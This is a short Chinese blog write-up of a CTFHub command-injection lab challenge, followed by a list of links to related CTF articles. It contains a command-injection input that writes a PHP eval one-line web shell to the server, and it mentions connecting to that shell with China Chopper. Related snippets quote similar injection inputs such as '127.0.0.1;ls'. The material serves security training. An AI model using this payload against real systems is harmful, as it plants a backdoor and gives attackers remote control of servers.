CTFHUB 基础-----命令执行第一关

最新推荐文章于 2024-03-30 22:09:54 发布
最新推荐文章于 2024-03-30 22:09:54 发布
阅读量1.2k 收藏
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/SopRomeo/article/details/104955743
版权

在这里插入图片描述
cat 可以用，flag不在这里，找了很久都没有，最终发现可以写一句话木马进去
LINUX指令
看了web，发现要转义$,不然会当成变量，难怪了干了这么久都不行

1;echo "<?php @eval(\$_POST['cmd']);?>" > 2.php

不能cat一大窜数字的文件，菜刀点进去看，里面有flag…,里面用了注释，难怪不能cat…

penson by 小乌
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
2020-HackIM_ctf_hackim-ctfwriteup_
09-28
这是hackim-ctf的writeup
CTF-Write-up:CTF撰写和信息
03-21
CTF-Write-up:CTF撰写和信息
ctfhub技能树web：RCE里的eval执行和命令注入
最新发布
2302_81010533的博客
03-30 336
远程命令/代码执行漏洞，简称为RCE漏洞，可以直接向服务器后台远程注入操作系统的命令或者代码，从而拿到服务器后台的权限。首先执行ping命令，ping本机ip:127.0.0.1,再加上ls这个系统命令，连起来就是127.0.0.1;ls接着查看里面的文件，构造命令127.0.0.1;检查网页显示内容可以发现题目中直接给出了一段源代码，代码的大致意思是判断用户是否传了一个 cmd 参数，否则执行 else。检查目录列表发现关于flag的文件，检查内容发现flag。，查看可以访问的文件，发现一个。
CTF攻防世界web题思路解析2robot
m0_63687631的博客
12-22 1777
1.得到了网址，打开；发现是个空白页 2.然后查看一下源码，发现flag不在这儿 3.然后结合一下题，查下下robot协议；得到robot协议就是告诉爬虫这个网址里面有东西不能被搜到，然后改变网址查下什么内容不能被搜到，在网址后加/robots.txt,然后访问得到这个 4.根据简单翻译，user-agent是使用者代理的意思，disallow是驳回的意思，所以结合robots协议，就是使用者代理告诉我们disallow的内容被驳回了，导致我们不能正常访问，所以我们在网址后边加上这些/..
Bugku writeup 猫片（安恒）
qq_40737798的博客
03-10 2321
Bugku writeup 猫片（安恒） 题目： 解题： 1、首先打开题目附件，得到一个png的二进制文件。用010editor打开，发现头部内容显示为png，因此修改文件后缀，得到一张图片。 打开虚拟机跑一下binwalk，没有任何其他收获；打开pngcheck检查一下，也无异常。 2、在这时，思考hint内容：LSB、BGR，故使用Stegsolve，在Data Extract内勾选L...
攻防世界(view_source)
weixin_53857152的博客
12-22 485
攻防世界小白攻略 view_source 难度系数： 题目来源： Cyberpeace-n3k0 题目描述：X老师让小宁同学查看一个网页的源代码，但小宁同学发现鼠标右键好像不管用了。 题目场景： ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201222111652370.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZ
CTFHub技能数基础知识——CTF简介
qq_53768302的博客
02-15 430
CTFHub技能数基础知识——CTF简介
CTF的基础知识
weixin_65852501的博客
04-22 513
目录 1、简介 2、竞赛 2.1、理论知识 2.2、Jeopardy-解题 2.3、AwD-攻防模式 2.4、RHG-自动化[ AI自动化] 2.5、RW-真实世界 2.6、KoH-抢占山头 2.7、Mix[混合] 2.8、FLAG 3、比赛形式 3.1、简介 3.2、线上 3.3、线下 4、题目 4.1、简介 4.2、Web 4.3、Pwn 4.4、Reverse 4.5、Crypto 4.6、Misc 1、简介 CTF（C apture T he F l
CTFHub通关
weixin_43184518的博客
07-06 7938
CTFHub通关 这篇文章主要为我在ctfhub上的通关过程，作为记录方便以后查看。
CTFHub-web(基础认证)
分享与记录
03-26 8895
发现题目需要登录，先任意输入admin/admin进行登录尝试。没什么反应。抓包看数据。可以看见一条特殊字符串Basic realm="Do u know admin ?，暂时没有其他线索，我们假设用户名就是admin，然后进行暴力破解。 Basic表示基础认证，字符串格式xxxxxxxxx==大概率为Base64编码 Base64解码得到开始尝试输入的账号和密码 将报文发送到Intrude...
CTF之命令执行
afei001
03-29 627
练习环境     攻击机：kali     靶机：Ubuntu 17.04 1.发现靶机，进行端口扫描 root@afei:~# ifconfig eth0 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.3.150 netmask 255.255.255.0 bro...
ctf-2017-release:BSidesSF CTF 2017版本
05-28
ctf-2017 2017 BSidesSF CTF面临的挑战 内置的 ， ， ， ， 在本地应对挑战 您可以使用docker在本地运行所有挑战。 docker-compose build && docker-compose up -d 挑战将在http://localhost:PORT提供，基于...
CTF-100题.-天天练习-学习
11-01
CTF-100题.-----------------天天练习------------------学习 100小题，试例练习
ctf-all-in-one.pdf
05-25
CTF-All-In-One（CTF 从入门到放弃） ——“与其相信谣言，不如一直学习。”ctf基础加入门题
CTFHUB——信息泄露
qq_44832048的博客
03-21 1879
目录遍历 新建标签页打开链接 发现一个个文件 慢慢找就能找到flag文件了 PHPINFO 打开后还是直接找就OK了 备份文件下载—网站源码 我的御剑出了点问题没扫出来，就源码后面加/www.zip类似这种一个个的试，最后找到了一个压缩包里面有个flag.txt，打开之后出来了这个， 没事把他放在源码后面就出来flag咯 ** bak文件 ** 打开之后显而易见，在源码后面加/inde...
CTFHub | eval执行
尼泊罗河伯的博客
04-19 1208
eval 函数可以将字符串作为代码执行，那么在使用 eval 函数作为获取用户输入的时候应该避免使用这类函数。如果用户输入的是一段恶意代码，就会导致严重的安全问题。
CTFHub 第一题请求方式
ds_0804的博客
08-25 372
设置浏览器代理 burpsuite设置 火狐浏览器设置 这题的问题主要是修改请求方法，即GET改为CTFHUB，用burpsuite抓包之后就可以修改 但是显示NOT ALLOWED 看提示是要请求index.php 当时抓的包是这样的。发现仅修改GET不行 到HTTPhistory里看到了这个请求 修改GET并加上index.php就可以了。 ...
CTFHUB-技能树-WEB通关
devil8123665的博客
01-25 339
CTFHUB-技能树-WEB通关https://blog.csdn.net/qq_45774670/article/details/109568987 ctfhub 技能树web全部做题记录(已完结)（除web进阶）https://blog.csdn.net/weixin_45485719/article/details/104958537
ctfhub—RCE通关
01-28 991
ctfhub—RCE通关记录：命令注入、过滤cat、过滤空格、过滤目录分隔符、过滤运算符、综合过滤练习。
CTFHub 命令注入-无过滤
07-25
CTFHub 命令注入-无过滤是一个题目，它的源代码中存在一个命令注入漏洞。在这个题目中，用户可以通过输入IP地址执行ping命令。\[1\]由于没有采用过滤，用户可以直接进行命令拼接，例如输入"192.168.43.222;ls"可以...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值